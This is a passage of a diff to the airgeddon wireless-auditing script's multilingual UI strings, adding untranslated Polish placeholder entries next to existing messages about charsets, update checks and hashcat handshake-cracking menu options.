ключа для расшифровки (${minlength}-63) :" arr["GREEK",195]="Εισάγετε το μέγιστο μήκος κλειδιού για αποκρυπτογράφηση (${minlength}-63) :" arr["ITALIAN",195]="Inserire la lunghezza massima della chiave da decifrare (${minlength}-63) :" + arr["POLISH",195]="${pending_of_translation} " arr["ENGLISH",196]="Select the character set to use :" arr["SPANISH",196]="Selecciona el juego de caracteres a utilizar :" @@ -2242,6 +2438,7 @@ function language_strings() { arr["RUSSIAN",196]="Выберите набор символов для использования :" arr["GREEK",196]="Επιλέξτε το σετ χαρακτήρων που θα χρησιμοποιηθεί :" arr["ITALIAN",196]="Selezionare il set di caratteri da utilizzare :" + arr["POLISH",196]="${pending_of_translation} " arr["ENGLISH",197]="1. Lowercase chars" arr["SPANISH",197]="1. Caracteres en minúsculas" @@ -2251,6 +2448,7 @@ function language_strings() { arr["RUSSIAN",197]="1. Символы нижнего регистра" arr["GREEK",197]="1. Πεζά" arr["ITALIAN",197]="1. Caratteri minuscoli" + arr["POLISH",197]="${pending_of_translation} " arr["ENGLISH",198]="2. Uppercase chars" arr["SPANISH",198]="2. Caracteres en mayúsculas" @@ -2260,6 +2458,7 @@ function language_strings() { arr["RUSSIAN",198]="2. Символы верхнего регистра" arr["GREEK",198]="2. Κεφαλαία" arr["ITALIAN",198]="2. Caratteri maiuscoli" + arr["POLISH",198]="${pending_of_translation} " arr["ENGLISH",199]="3. Numeric chars" arr["SPANISH",199]="3. Caracteres numéricos" @@ -2269,6 +2468,7 @@ function language_strings() { arr["RUSSIAN",199]="3. Цифры" arr["GREEK",199]="3. Αριθμοί" arr["ITALIAN",199]="3. Caratteri numerici" + arr["POLISH",199]="${pending_of_translation} " arr["ENGLISH",200]="4. Symbol chars" arr["SPANISH",200]="4. Caracteres símbolos" @@ -2278,6 +2478,7 @@ function language_strings() { arr["RUSSIAN",200]="4. Символы" arr["GREEK",200]="4. Σύμβολα" arr["ITALIAN",200]="4. Simboli" + arr["POLISH",200]="${pending_of_translation} " arr["ENGLISH",201]="5. Lowercase + uppercase chars" arr["SPANISH",201]="5. Caracteres en minúsculas + mayúsculas" @@ -2287,6 +2488,7 @@ function language_strings() { arr["RUSSIAN",201]="5. Буквы верхнего + нижнего регистра" arr["GREEK",201]="5. Πεζά + κεφαλαία" arr["ITALIAN",201]="5. Caratteri minuscoli + maiuscoli" + arr["POLISH",201]="${pending_of_translation} " arr["ENGLISH",202]="6. Lowercase + numeric chars" arr["SPANISH",202]="6. Caracteres en minúsculas + numéricos" @@ -2296,6 +2498,7 @@ function language_strings() { arr["RUSSIAN",202]="6. Буквы нижнего регистра + цифры" arr["GREEK",202]="6. Πεζά + αριθμοί" arr["ITALIAN",202]="6. Caratteri minuscoli + numerici" + arr["POLISH",202]="${pending_of_translation} " arr["ENGLISH",203]="7. Uppercase + numeric chars" arr["SPANISH",203]="7. Caracteres en mayúsculas + numéricos" @@ -2305,6 +2508,7 @@ function language_strings() { arr["RUSSIAN",203]="7. Буквы верхнего регистра + цифры" arr["GREEK",203]="7. Κεφαλαία + αριθμοί" arr["ITALIAN",203]="7. Caratteri numerici + maiuscoli" + arr["POLISH",203]="${pending_of_translation} " arr["ENGLISH",204]="8. Symbol + numeric chars" arr["SPANISH",204]="8. Caracteres símbolos + numéricos" @@ -2314,6 +2518,7 @@ function language_strings() { arr["RUSSIAN",204]="8. Символы + цифры" arr["GREEK",204]="8. Σύμβολα + αριθμοί" arr["ITALIAN",204]="8. simboli + numeri" + arr["POLISH",204]="${pending_of_translation} " arr["ENGLISH",205]="9. Lowercase + uppercase + numeric chars" arr["SPANISH",205]="9. Caracteres en minúsculas + mayúsculas + numéricos" @@ -2323,6 +2528,7 @@ function language_strings() { arr["RUSSIAN",205]="9. Буквы нижнего регистра + верхнего регистра + цифры" arr["GREEK",205]="9. Πεζά + κεφαλαία + αριθμοί" arr["ITALIAN",205]="9. Caratteri minuscoli + maiuscoli + numeri" + arr["POLISH",205]="${pending_of_translation} " arr["ENGLISH",206]="10. Lowercase + uppercase + symbol chars" arr["SPANISH",206]="10. Caracteres en minúsculas + mayúsculas + símbolos" @@ -2332,6 +2538,7 @@ function language_strings() { arr["RUSSIAN",206]="10. Буквы нижнего регистра + верхнего регистра + символы" arr["GREEK",206]="10. Πεζά + κεφαλαία + σύμβολα" arr["ITALIAN",206]="10. Caratteri minuscoli + maiuscoli + simboli" + arr["POLISH",206]="${pending_of_translation} " arr["ENGLISH",207]="11. Lowercase + uppercase + numeric + symbol chars" arr["SPANISH",207]="11. Caracteres en minúsculas + mayúsculas + numéricos + símbolos" @@ -2341,6 +2548,7 @@ function language_strings() { arr["RUSSIAN",207]="11. Буквы нижнего регистра + верхнего регистра + цифры + символы" arr["GREEK",207]="11. Πεζά + κεφαλαία + αριθμοί + σύμβολα" arr["ITALIAN",207]="11. Caratteri minuscoli + maiuscoli + numeri + simboli" + arr["POLISH",207]="${pending_of_translation} " arr["ENGLISH",208]="If you choose a big charset and a long key length, the proccess could take so much time" arr["SPANISH",208]="Si eliges un juego de caracteres amplio y una longitud de clave grande, el proceso podría demorarse mucho tiempo" @@ -2350,6 +2558,7 @@ function language_strings() { arr["RUSSIAN",208]="Если вы выберете большой набор символов и большую длинну ключа, процесс может занять очень много времени" arr["GREEK",208]="Αν επιλέξετε μεγάλη συμβολοσειρά και μεγάλο μήκος κλειδιού, η διεργασία θα διαρκέσει αρκετά" arr["ITALIAN",208]="Se si sceglie un set di caratteri grande e una grande lunghezza della chiave, il processo potrebbe richiedere molto tempo" + arr["POLISH",208]="${pending_of_translation} " arr["ENGLISH",209]="The charset to use is : [${normal_color}${showcharset}${blue_color}]" arr["SPANISH",209]="El juego de caracteres elegido es : [${normal_color}${showcharset}${blue_color}]" @@ -2359,6 +2568,7 @@ function language_strings() { arr["RUSSIAN",209]="Символы для использования : [${normal_color}${showcharset}${blue_color}]" arr["GREEK",209]="Η συμβολοσειρά που θα χρησιμοποιηθεί είναι : [${normal_color}${showcharset}${blue_color}]" arr["ITALIAN",209]="Il set di caratteri scelto è : [${normal_color}${showcharset}${blue_color}]" + arr["POLISH",209]="${pending_of_translation} " arr["ENGLISH",210]="The script will check for internet access looking for a newer version. Please be patient..." arr["SPANISH",210]="El script va a comprobar si tienes acceso a internet para ver si existe una nueva versión. Por favor ten paciencia..." @@ -2368,6 +2578,7 @@ function language_strings() { arr["RUSSIAN",210]="Скрипт проверит доступ в Интернет для поиска новой версии. Подождите немного..." arr["GREEK",210]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο και έπειτα για νεότερη έκδοση. Παρακαλώ κάντε υπομονή..." arr["ITALIAN",210]="Lo script controllerà se si ha accesso a internet per vedere se c'è una nuova versione. Si prega di essere pazienti..." + arr["POLISH",210]="${pending_of_translation} " arr["ENGLISH",211]="It seems you have no internet access. The script can't connect to repository. It will continue without updating..." arr["SPANISH",211]="Parece que no tienes conexión a internet. El script no puede conectar al repositorio. Continuará sin actualizarse..." @@ -2377,6 +2588,7 @@ function language_strings() { arr["RUSSIAN",211]="Кажется, у вас нет доступа в Интернет. Скрипт не может подключится к репозиторию. Он продолжит без обновления..." arr["GREEK",211]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο. Το script δεν μπορεί να συνδεθεί στο αποθετήριο. Θα συνεχίσει χωρίς να έχει ενημερωθεί..." arr["ITALIAN",211]="Sembra che tu non abbia alcuna connessione a internet. Lo script non riesce a connettersi al repository. Continuerà senza aggiornarsi..." + arr["POLISH",211]="${pending_of_translation} " arr["ENGLISH",212]="The script is already in the latest version. It doesn't need to be updated" arr["SPANISH",212]="El script ya está en la última versión. No necesita ser actualizado" @@ -2386,6 +2598,7 @@ function language_strings() { arr["RUSSIAN",212]="Скрипт уже последней версии, обновление не требуется" arr["GREEK",212]="Το script είναι ήδη στην τελευταία έκδοση. Δεν χρειάζεται να ενημερωθεί" arr["ITALIAN",212]="Lo script è già alla sua ultima versione. Non c'è bisogno di aggiornamenti" + arr["POLISH",212]="${pending_of_translation} " arr["ENGLISH",213]="A new version of the script exists (v${airgeddon_last_version}). It will be downloaded" arr["SPANISH",213]="Existe una nueva versión del script (v${airgeddon_last_version}). Será descargada" @@ -2395,6 +2608,7 @@ function language_strings() { arr["RUSSIAN",213]="Существует новая версия скрипта (v${airgeddon_last_version}). Она будет загружена" arr["GREEK",213]="Υπάρχει νεότερη έκδοση του script (v${airgeddon_last_version}). Θα κατέβει" arr["ITALIAN",213]="Esiste una nuova versione dello script (v${airgeddon_last_version}). Sarà scaricata" + arr["POLISH",213]="${pending_of_translation} " arr["ENGLISH",214]="The new version was successfully downloaded. The script will be launched again" arr["SPANISH",214]="La nueva versión se ha descargado con éxito. El script se lanzará de nuevo" @@ -2404,6 +2618,7 @@ function language_strings() { arr["RUSSIAN",214]="Новая версия успешно загружена. Скрипт будет перезапущен" arr["GREEK",214]="Η νεότερη έκδοση κατέβηκε επιτυχώς. Το script θα επανεκκινηθεί" arr["ITALIAN",214]="La nuova versione è stata scaricata con successo. Lo script sarà lanciato di nuovo" + arr["POLISH",214]="${pending_of_translation} " arr["ENGLISH",215]="WPA/WPA2 passwords always has 8 as a minimum length" arr["SPANISH",215]="Una contraseña WPA/WPA2 siempre tiene como mínimo una longitud de 8" @@ -2413,6 +2628,7 @@ function language_strings() { arr["RUSSIAN",215]="WPA/WPA2 пароли всегда имеют длину минимум в 8 символов" arr["GREEK",215]="οι κωδικοί πρόσβασης WPA/WPA2 έχουν πάντα ελάχιστο μήκος 8" arr["ITALIAN",215]="Una password WPA/WPA2 è sempre lunga almeno 8 caratteri" + arr["POLISH",215]="${pending_of_translation} " arr["ENGLISH",216]="No networks found with Handshake captured on the selected file" arr["SPANISH",216]="No se encontraron redes con Handshake capturado en el fichero seleccionado" @@ -2422,6 +2638,7 @@ function language_strings() { arr["RUSSIAN",216]="В выбранном файле сети с захваченным рукопожатием не найдены" arr["GREEK",216]="Δεν βρέθηκαν δίκτυα με Χειραψία στο επιλεγμένο αρχείο" arr["ITALIAN",216]="Nessuna rete trovata con Handshake catturati nel file selezionato" + arr["POLISH",216]="${pending_of_translation} " arr["ENGLISH",217]="Only one valid target detected on file. BSSID autoselected [${normal_color}${bssid}${blue_color}]" arr["SPANISH",217]="Sólo un objetivo válido detectado en el fichero. Se ha seleccionado automáticamente el BSSID [${normal_color}${bssid}${blue_color}]" @@ -2431,6 +2648,7 @@ function language_strings() { arr["RUSSIAN",217]="В файле обнаружена только одна подходящая цель. BSSID выбрана автоматически [${normal_color}${bssid}${blue_color}]" arr["GREEK",217]="Μόνο ένας έγκυρος στόχος εντοπίστηκε στο αρχείο. Επιλέχθηκε αυτόματα το BSSID [${normal_color}${bssid}${blue_color}]" arr["ITALIAN",217]="Solo un bersaglio valido rilevato nel file. Viene selezionato automaticamente il BSSID [${normal_color}${bssid}${blue_color}]" + arr["POLISH",217]="${pending_of_translation} " arr["ENGLISH",218]="Optional tools: checking..." arr["SPANISH",218]="Herramientas opcionales: comprobando..." @@ -2440,6 +2658,7 @@ function language_strings() { arr["RUSSIAN",218]="Опциональные инструменты: проверка..." arr["GREEK",218]="Προαιρετικά εργαλεία: γίνεται έλεγχος..." arr["ITALIAN",218]="Strumenti opzionali: controllo ..." + arr["POLISH",218]="${pending_of_translation} " arr["ENGLISH",219]="Your distro has the essential tools but it hasn't some optional. The script can continue but you can't use some features. It is recommended to install missing tools" arr["SPANISH",219]="Tu distro tiene las herramientas esenciales pero le faltan algunas opcionales. El script puede continuar pero no podrás utilizar algunas funcionalidades. Es recomendable instalar las herramientas que faltan" @@ -2449,6 +2668,7 @@ function language_strings() { arr["RUSSIAN",219]="Ваш дистрибутив имеет базовые инструменты, но не имеет некоторые опциональные. Скрипт может продолжить работу, но вы не сможете использовать некоторые функции. Рекомендуется установить отсутствующие инструменты" arr["GREEK",219]="Η διανομή σας έχει τα απαραίτητα εργαλεία αλλά δεν έχει κάποια προαιρετικά. Το script μπορεί να συνεχίσει αλλά δεν θα μπορέσετε να χρησιμοποιήσετε κάποια χαρακτηριστικά. Συνιστάται να εγκαταστήσετε τα λείποντα εργαλεία" arr["ITALIAN",219]="La tua distro ha gli strumenti essenziali, ma mancano alcuni opzionali. Lo script può continuare, ma non è possibile utilizzare alcune funzioni. Si consiglia di installare gli strumenti mancanti" + arr["POLISH",219]="${pending_of_translation} " arr["ENGLISH",220]="Locked menu option was chosen" arr["SPANISH",220]="Opción del menú bloqueada" @@ -2458,6 +2678,7 @@ function language_strings() { arr["RUSSIAN",220]="Была выбрана заблокированная опция меню" arr["GREEK",220]="Επιλέχθηκε κλειδωμένη επιλογή" arr["ITALIAN",220]="Opzione del menù bloccata" + arr["POLISH",220]="${pending_of_translation} " arr["ENGLISH",221]="Accepted bash version (${BASH_VERSION}). Minimum required version: ${minimum_bash_version_required}" arr["SPANISH",221]="Versión de bash (${BASH_VERSION}) aceptada. Mínimo requerido versión: ${minimum_bash_version_required}" @@ -2467,6 +2688,7 @@ function language_strings() { arr["RUSSIAN",221]="Используемая версия bash (${BASH_VERSION}). Минимальная требуемая версия: ${minimum_bash_version_required}" arr["GREEK",221]="Αποδεκτή έκδοση bash (${BASH_VERSION}). Ελάχιστη απαιτούμενη έκδοση: ${minimum_bash_version_required}" arr["ITALIAN",221]="Versione di bash (${BASH_VERSION}) accettata. Minima versione richiesta: ${minimum_bash_version_required}" + arr["POLISH",221]="${pending_of_translation} " arr["ENGLISH",222]="Insufficient bash version (${BASH_VERSION}). Minimum required version: ${minimum_bash_version_required}" arr["SPANISH",222]="Versión de bash insuficiente (${BASH_VERSION}). Mínimo requerido versión: ${minimum_bash_version_required}" @@ -2476,6 +2698,7 @@ function language_strings() { arr["RUSSIAN",222]="Неудовлетворительная версия bash (${BASH_VERSION}). Минимальная требуемая версия: ${minimum_bash_version_required}" arr["GREEK",222]="Ανεπαρκής έκδοση bash (${BASH_VERSION}). Ελάχιστη απαιτούμενη έκδοση: ${minimum_bash_version_required}" arr["ITALIAN",222]="Versione di bash insufficiente (${BASH_VERSION}). Versione minima richiesta: ${minimum_bash_version_required}" + arr["POLISH",222]="${pending_of_translation} " arr["ENGLISH",223]="airgeddon needs root permissions to work. Launch the script as root user or using \"sudo\"" arr["SPANISH",223]="airgeddon necesita permisos de root para funcionar. Lanza el script como usuario root o usando \"sudo\"" @@ -2485,6 +2708,7 @@ function language_strings() { arr["RUSSIAN",223]="airgeddon требует для работы прав root. Запустите скрипт как root пользователь или используйте \"sudo\"" arr["GREEK",223]="Το airgeddon χρειάζεται root δικαιώματα για να δουλέψει. Ανοίξτε το script ως χρήστης root ή χρησιμοποιήστε \"sudo\"" arr["ITALIAN",223]="airgeddon ha bisogno dei permessi di root per l'esecuzione. Lancia lo script come root o usando \"sudo\"" + arr["POLISH",223]="${pending_of_translation} " arr["ENGLISH",224]="The script execution continues from exactly the same point where it was" arr["SPANISH",224]="El script continua su ejecución desde exactamente el mismo punto en el que estaba" @@ -2494,6 +2718,7 @@ function language_strings() { arr["RUSSIAN",224]="Выполнение скрипта продолжиться с точно той точки, на которой он был" arr["GREEK",224]="Η εκτέλεση του script συνεχίζει ακριβώς από το ίδιο σημείο που ήταν" arr["ITALIAN",224]="Lo script continua l'esecuzione esattamente dallo stesso punto in cui era" + arr["POLISH",224]="${pending_of_translation} " arr["ENGLISH",225]="The script can't check if there is a new version because you haven't installed update tools needed" arr["SPANISH",225]="El script no puede comprobar si hay una nueva versión porque no tienes instaladas las herramientas de actualización necesarias" @@ -2503,6 +2728,7 @@ function language_strings() { arr["RUSSIAN",225]="Скрипт не может проверить имеется ли новая версия, поскольку у вас не установлены необходимые инструменты обновления" arr["GREEK",225]="Το script δεν μπορεί να ελέγξει αν υπάρχει νεότερη έκδοση γιατί δεν έχετε εγκαταστήσει τα απαραίτητα εργαλεία ενημερώσεων" arr["ITALIAN",225]="Lo script non può verificare se c'è una nuova versione perché non sono stati installati gli strumenti di aggiornamento necessari" + arr["POLISH",225]="${pending_of_translation} " arr["ENGLISH",226]="Update tools: checking..." arr["SPANISH",226]="Herramientas de actualización: comprobando..." @@ -2512,6 +2738,7 @@ function language_strings() { arr["RUSSIAN",226]="Инструменты для обновления: проверка..." arr["GREEK",226]="Εργαλεία ενημερώσεων: γίνεται έλεγχος..." arr["ITALIAN",226]="Strumenti di aggiornamento: controllo ..." + arr["POLISH",226]="${pending_of_translation} " arr["ENGLISH",227]="Working... " arr["SPANISH",227]="Trabajando... " @@ -2521,6 +2748,7 @@ function language_strings() { arr["RUSSIAN",227]="Работаем... " arr["GREEK",227]="Δουλεύει... " arr["ITALIAN",227]="Lavorando... " + arr["POLISH",227]="${pending_of_translation} " arr["ENGLISH",228]=" Developed by ${author}" arr["SPANISH",228]=" Programado por ${author}" @@ -2530,6 +2758,7 @@ function language_strings() { arr["RUSSIAN",228]=" Создал ${author}" arr["GREEK",228]=" Προγραμματισμένο από ${author}" arr["ITALIAN",228]=" Sviluppato da ${author}" + arr["POLISH",228]="${pending_of_translation} " arr["ENGLISH",229]="hashcat CPU, non GPU attacks" arr["SPANISH",229]="ataques hashcat CPU, no GPU" @@ -2539,6 +2768,7 @@ function language_strings() { arr["RUSSIAN",229]="Атаки hashcat с использованием центрального процессора, без использования видеокарты" arr["GREEK",229]="επιθέσεις hashcat CPU, όχι GPU" arr["ITALIAN",229]="attacchi hashcat CPU, non GPU" + arr["POLISH",229]="${pending_of_translation} " arr["ENGLISH",230]="3. (hashcat) Dictionary attack against capture file" arr["SPANISH",230]="3. (hashcat) Ataque de diccionario sobre fichero de captura" @@ -2548,6 +2778,7 @@ function language_strings() { arr["RUSSIAN",230]="3. (hashcat) Атака по словарю в отношению захваченного файла" arr["GREEK",230]="3. (hashcat) Επίθεση με χρήση λεξικού σε αρχείο καταγραφής" arr["ITALIAN",230]="3. (hashcat) Attacco di dizionario sul file di cattura" + arr["POLISH",230]="${pending_of_translation} " arr["ENGLISH",231]="4. (hashcat) Bruteforce attack against capture file" arr["SPANISH",231]="4. (hashcat) Ataque de fuerza bruta sobre fichero de captura" @@ -2557,6 +2788,7 @@ function language_strings() { arr["RUSSIAN",231]="4. (hashcat) Атака рукопожатия полным перебором" arr["GREEK",231]="4. (hashcat) Επίθεση ωμής βίας σε αρχείο καταγραφής" arr["ITALIAN",231]="4. (hashcat) Attacco di forza bruta sul file di cattura" + arr["POLISH",231]="${pending_of_translation} " arr["ENGLISH",232]="5. (hashcat) Rule based attack against capture file" arr["SPANISH",232]="5. (hashcat) Ataque basado en reglas sobre fichero de captura" @@ -2566,6 +2798,7 @@ function language_strings() { arr["RUSSIAN",232]="5. (hashcat) Атака на основе правила в отношении захваченного файла" arr["GREEK",232]="5. (hashcat) Επίθεση κανόνων σε αρχείο καταγραφής" arr["ITALIAN",232]="5. (hashcat) Attacco basato su regole contro il file di cattura" + arr["POLISH",232]="${pending_of_translation} " arr["ENGLISH",233]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${hashcat_potpath}]" arr["SPANISH",233]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${hashcat_potpath}]" @@ -2575,6 +2808,7 @@ function language_strings() { arr["RUSSIAN",233]="Напечатайте путь к сохранённому файлу или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${hashcat_potpath}]" arr["GREEK",233]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${hashcat_potpath}]" arr["ITALIAN",233]="Immettere il percorso dove memorizzare il file o premere [Enter] per accettare quello di default ${normal_color}[${hashcat_potpath}]" + arr["POLISH",233]="${pending_of_translation} " arr["ENGLISH",234]="Contratulations!! It seems the key has been decrypted" arr["SPANISH",234]="Enhorabuena!! Parece que la clave ha sido desencriptada" @@ -2584,6 +2818,7 @@ function language_strings() { arr["RUSSIAN",234]="Поздравления!! Похоже на то, что ключ был расшифрован" arr["GREEK",234]="Συγχαρητήρια!! Φαίνεται πως το κλειδί αποκρυπτογραφήθηκε" arr["ITALIAN",234]="Congratulazioni!! Sembra che la password è stata decifrata" + arr["POLISH",234]="${pending_of_translation} " arr["ENGLISH",235]="Do you want to save the trophy file with the decrypted password? ${normal_color}${visual_choice}" arr["SPANISH",235]="¿Quieres guardar el fichero de trofeo con la clave desencriptada? ${normal_color}${visual_choice}" @@ -2593,6 +2828,7 @@ function language_strings() { arr["RUSSIAN",235]="Вы хотите сохранить трофейный файл с расшифрованным паролем? ${normal_color}${visual_choice}" arr["GREEK",235]="Θέλετε να αποθηκεύσετε το αρχείο τρόπαιο με τον αποκρυπτογραφημένο κωδικό πρόσβασης; ${normal_color}${visual_choice}" arr["ITALIAN",235]="Vuoi salvare il file trofeo con la password decifrata? ${normal_color}${visual_choice}" + arr["POLISH",235]="${pending_of_translation} " arr["ENGLISH",236]="Hashcat trophy file generated successfully at [${normal_color}${potenteredpath}${blue_color}]" arr["SPANISH",236]="Fichero de trofeo hashcat generado con éxito en [${normal_color}${potenteredpath}${blue_color}]" @@ -2602,6 +2838,7 @@ function language_strings() { arr["RUSSIAN",236]="Трофейный файл hashcat был успешно сгенерирован в [${normal_color}${potenteredpath}${blue_color}]" arr["GREEK",236]="Το hashcat αρχείο τρόπαιο δημιουργήθηκε επιτυχώς [${normal_color}${potenteredpath}${blue_color}]" arr["ITALIAN",236]="File di trofeo di hashcat generato con successo [${normal_color}${potenteredpath}${blue_color}]" + arr["POLISH",236]="${pending_of_translation} " arr["ENGLISH",237]="5. Lowercase + uppercase + numeric + symbol chars" arr["SPANISH",237]="5. Caracteres en minúsculas + mayúsculas + numéricos + símbolos" @@ -2611,6 +2848,7 @@ function language_strings() { arr["RUSSIAN",237]="5. Буквы нижнего регистра + верхнего регистра + цифры + символы" arr["GREEK",237]="5. Πεζά + κεφαλαία + αριθμοί + σύμβολα" arr["ITALIAN",237]="5. Caratteri minuscoli + maiuscoli + numeri + simboli" + arr["POLISH",237]="${pending_of_translation} " arr["ENGLISH",238]="Charset selection menu" arr["SPANISH",238]="Menú de selección de juego de caracteres" @@ -2620,6 +2858,7 @@ function language_strings() { arr["RUSSIAN",238]="Меню выбора набора символов" arr["GREEK",238]="Μενού επιλογής συμβολοσειράς" arr["ITALIAN",238]="Menú di selezione del set di caratteri" + arr["POLISH",238]="${pending_of_translation} " arr["ENGLISH",239]="You already have selected a rules file during this session [${normal_color}${RULES}${blue_color}]" arr["SPANISH",239]="Ya tienes seleccionado un fichero de reglas en esta sesión [${normal_color}${RULES}${blue_color}]" @@ -2629,6 +2868,7 @@ function language_strings() { arr["RUSSIAN",239]="Во время этой сессии вы уже выбрали файл с правилами [${normal_color}${RULES}${blue_color}]" arr["GREEK",239]="Έχετε ήδη επιλέξει αρχείο κανόνων κατά τη διάρκεια τησ συνεδρίας [${normal_color}${RULES}${blue_color}]" arr["ITALIAN",239]="È giá stato selezionato un file di regole in questa sessione [${normal_color}${RULES}${blue_color}]" + arr["POLISH",239]="${pending_of_translation} " arr["ENGLISH",240]="Do you want to use this already selected rules file? ${normal_color}${visual_choice}" arr["SPANISH",240]="¿Quieres utilizar este fichero de reglas ya seleccionado? ${normal_color}${visual_choice}" @@ -2638,6 +2878,7 @@ function language_strings() { arr["RUSSIAN",240]="Вы хотите использовать этот уже выбранный файл правил? ${normal_color}${visual_choice}" arr["GREEK",240]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο κανόνων; ${normal_color}${visual_choice}" arr["ITALIAN",240]="Vuoi utilizzare questo file di regole già selezionato? ${normal_color}${visual_choice}" + arr["POLISH",240]="${pending_of_translation} " arr["ENGLISH",241]="The path to the rules file is valid. Script can continue..." arr["SPANISH",241]="La ruta al fichero de reglas es válida. El script puede continuar..." @@ -2647,6 +2888,7 @@ function language_strings() { arr["RUSSIAN",241]="Путь до файла с правилами верный. Скрипт может продолжать..." arr["GREEK",241]="Το μονοπάτι για το αρχείο κανόνων είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["ITALIAN",241]="Il percorso del file di regole è valido. Lo script può continuare..." + arr["POLISH",241]="${pending_of_translation} " arr["ENGLISH",242]="Enter the path of a rules file :" arr["SPANISH",242]="Introduce la ruta de un fichero de reglas :" @@ -2656,6 +2898,7 @@ function language_strings() { arr["RUSSIAN",242]="Введите путь файла с правилами :" arr["GREEK",242]="Εισάγετε το μονοπάτι για ένα αρχείο κανόνων :" arr["ITALIAN",242]="Immettere il percorso di un file di regole :" + arr["POLISH",242]="${pending_of_translation} " arr["ENGLISH",243]="Selected rules file: ${pink_color}${RULES}${normal_color}" arr["SPANISH",243]="Fichero de reglas seleccionado: ${pink_color}${RULES}${normal_color}" @@ -2665,6 +2908,7 @@ function language_strings() { arr["RUSSIAN",243]="Выбранный файл правил: ${pink_color}${RULES}${normal_color}" arr["GREEK",243]="Επιλεγμένο αρχείο κανόνων: ${pink_color}${RULES}${normal_color}" arr["ITALIAN",243]="File di regole selezionato: ${pink_color}${RULES}${normal_color}" + arr["POLISH",243]="${pending_of_translation} " arr["ENGLISH",244]="Rule based attacks change the words of the dictionary list according to the rules written in the rules file itself. They are very useful. Some distros has predefined rule files (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["SPANISH",244]="Los ataques basados en reglas modifican las palabras de la lista del diccionario según las reglas escritas en el propio fichero de reglas. Son muy útiles. Algunas distros ya traen ficheros predefinidos de reglas (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" @@ -2674,6 +2918,7 @@ function language_strings() { arr["RUSSIAN",244]="Атака, основанная на правилах, изменяет слова из словаря в соответствии с правилами, написанными в самом файле правил. Они очень полезны. Некоторые дистрибутивы имеют предустановленные правила (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["GREEK",244]="Οι επιθέσεις κανόνων αλλάζουν τις λέξεις του λεξικού ανάλογα με τους κανόνες που έχουν γραφτεί στο αρχείο κανόνων. Είναι πολύ χρήσιμοι. Κάποιες διανομές έχουν προκαθορισμένα αρχεία κανόνων (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["ITALIAN",244]="Gli attacchi basato su regole cambiano le parole della lista del dizionario secondo le regole scritte nel file delle regole stesso. Essi sono molto utili. Alcune distribuzioni hanno giá file di regole predefiniti (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" + arr["POLISH",244]="${pending_of_translation} " arr["ENGLISH",245]="// ${yellow_color}Chipset:${normal_color} ${unknown_chipsetvar}" arr["SPANISH",245]="// ${yellow_color}Chipset:${normal_color} ${unknown_chipsetvar}" @@ -2683,6 +2928,7 @@ function language_strings() { arr["RUSSIAN",245]="// ${yellow_color}Chipset:${normal_color} ${unknown_chipsetvar}" arr["GREEK",245]="// ${yellow_color}Chipset:${normal_color} ${unknown_chipsetvar}" arr["ITALIAN",245]="// ${yellow_color}Chipset:${normal_color} ${unknown_chipsetvar}" + arr["POLISH",245]="${pending_of_translation} " arr["ENGLISH",246]="Every time you see a text with the prefix ${cyan_color}${pending_of_translation}${pink_color} acronym for \"Pending of Translation\", means the translation has been automatically generated and is still pending of review" arr["SPANISH",246]="Cada vez que veas un texto con el prefijo ${cyan_color}${pending_of_translation}${pink_color} acrónimo de \"Pending of Translation\", significa que su traducción ha sido generada automáticamente y que aún está pendiente de revisión" @@ -2692,6 +2938,7 @@ function language_strings() { arr["RUSSIAN",246]="Каждый раз, когда вы видите текст с префиксом ${cyan_color}${pending_of_translation}${pink_color} (акроним для \"Pending of Translation\"), это означает, что перевод был сгенерирован автоматически и ещё ожидает проверки" arr["GREEK",246]="Κάθε φορά που θα βλέπετε κείμενο με πρόθεμα ${cyan_color}${pending_of_translation}${pink_color} ακρωνύμιο για \"Pending of Translation\", σημαίνει πως η μετάφραση δημιουργήθηκε αυτόματα και αναμένεται κριτική" arr["ITALIAN",246]="Ogni volta che vedi un testo con il prefisso ${cyan_color}${pending_of_translation}${pink_color} acronimo di \"Pending of Translation\" significa che la traduzione è stata generata automaticamente ed è ancora in attesa di revisione" + arr["POLISH",246]="${pending_of_translation} " arr["ENGLISH",247]="Despite having all essential tools installed, your system uses airmon-zc instead of airmon-ng. In order to work properly you need to install ethtool and you don't have it right now. Please, install it and launch the script again" arr["SPANISH",247]="A pesar de tener todas las herramientas esenciales instaladas, tu sistema usa airmon-zc en lugar de airmon-ng. Para poder funcionar necesitas tener instalado ethtool y tú no lo tienes en este momento. Por favor, instálalo y vuelve a lanzar el script" @@ -2701,6 +2948,7 @@ function language_strings() { arr["RUSSIAN",247]="Не смотря на то, что все базовые инструменты установлены, система использует airmon-zc вместо airmon-ng. Чтобы работать должным образом, должен быть установлен пакет ethtool, а в данный момент он отсутствует. Пожалуйста, установите его и запустите скрипт снова" arr["GREEK",247]="Παρά του ότι είναι εγκατεστημένα όλα τα απραίτητα εργαλεία, το σύστημά σας χρησιμοποιεί το airmon-zc αντί το airmon-ng. Για να λειτουργήσει σωστά πρέπει να εγκαταστήσετε το ethtool το οποίο δεν το έχετε αυτή τη στιγμή. Παρακαλώ, εγκαταστήστε το και ξανανοίξτε το script" arr["ITALIAN",247]="Pur avendo tutti gli strumenti essenziali installati, il sistema utilizza airmon-zc invece di airmon-ng. Per funzionare è necessario installare ethtool e tu non lo hai in questo momento. Si prega di installaro e lanciare nuovamente lo script" + arr["POLISH",247]="${pending_of_translation} " arr["ENGLISH",248]="Language changed to Portuguese" arr["SPANISH",248]="Idioma cambiado a Portugués" @@ -2710,6 +2958,7 @@ function language_strings() { arr["RUSSIAN",248]="Язык изменён на португальский" arr["GREEK",248]="Η γλώσσα άλλαξε στα Πορτογαλικά" 